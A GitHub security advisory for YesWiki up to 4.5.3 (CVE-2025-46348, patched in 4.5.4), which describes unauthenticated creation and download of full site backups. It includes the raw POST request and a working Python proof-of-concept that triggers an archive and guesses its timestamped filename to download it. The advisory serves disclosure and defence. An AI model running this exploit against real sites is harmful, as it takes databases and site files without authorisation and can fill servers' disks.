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YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download

Critical severity GitHub Reviewed Published Apr 28, 2025 in YesWiki/yeswiki • Updated Apr 30, 2025

Package

composer yeswiki/yeswiki (Composer)

Affected versions

<= 4.5.3

Patched versions

4.5.4

Description

Summary

The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication.

The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated.

Details

Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for:

POST /?api/archives HTTP/1.1
Host: localhost:8085

action=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true

Then to retrieve it, make a simple GET request like to the correct URL:

http://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip

A malicious attacker could simply fuzz this filename.

PoC

Here is a python script to fuzz this:

#!/usr/bin/env python3

import requests
import argparse
import datetime
import time
from urllib.parse import urljoin
from email.utils import parsedate_to_datetime
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Hardcoded proxy config for Burp Suite
BURP_PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}

def send_post_request(base_url, use_proxy=False):
    url = urljoin(base_url, "/?api/archives")
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    }

    data = {
        "action": "startArchive",
        "params[savefiles]": "true",
        "params[savedatabase]": "true",
        "callAsync": "true"
    }

    proxies = BURP_PROXIES if use_proxy else None
    response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
    print(f"[+] Archive start response code: {response.status_code}")

    server_date = response.headers.get("Date")
    if server_date:
        ts = parsedate_to_datetime(server_date)
        print(f"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC")
        return ts
    else:
        print("[!] Server did not return a Date header, falling back to local UTC.")
        return datetime.datetime.utcnow()

def try_download_files(base_url, timestamp, use_proxy=False):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    }

    proxies = BURP_PROXIES if use_proxy else None
    print("[*] Trying to download the archive with timestamp fuzzing (±10 seconds)...")

    base_ts = timestamp + datetime.timedelta(hours=2)

    time.sleep(30)  # delay to generate the archive

    for offset in range(-4, 15):
        ts = base_ts + datetime.timedelta(seconds=offset)
        filename = ts.strftime("%Y-%m-%dT%H-%M-%S_archive.zip")
        url = urljoin(base_url, f"/?api/archives/{filename}")
        print(f"[>] Trying: {url}")
        r = requests.get(url, headers=headers, proxies=proxies, verify=False)

        if r.status_code == 200 and r.headers.get("Content-Type", "").startswith("application/zip"):
            print(f"[✓] Archive found and downloaded: {filename}")
            with open(filename, "wb") as f:
                f.write(r.content)
            return

    print("[!] No archive found within the fuzzed window.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Trigger archive and fetch resulting file with timestamp fuzzing.")
    parser.add_argument("host", help="Base host URL, e.g., http://localhost:8085")
    parser.add_argument("-p", "--proxy", action="store_true", help="Route requests through Burp Suite proxy at 127.0.0.1:8080")
    args = parser.parse_args()

    ts = send_post_request(args.host, use_proxy=args.proxy)
    print(f"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}")

    try_download_files(args.host, ts, use_proxy=args.proxy)

Impact

Denial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives.

Site Compromise - A malicious attacker can download the archive which will contain sensitive site information.

References

@mrflos mrflos published to YesWiki/yeswiki Apr 28, 2025
Published to the GitHub Advisory Database Apr 29, 2025
Reviewed Apr 29, 2025
Published by the National Vulnerability Database Apr 29, 2025
Last updated Apr 30, 2025

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(29th percentile)

CVE ID

CVE-2025-46348

GHSA ID

GHSA-wc9g-6j9w-hr95

Source code

Credits

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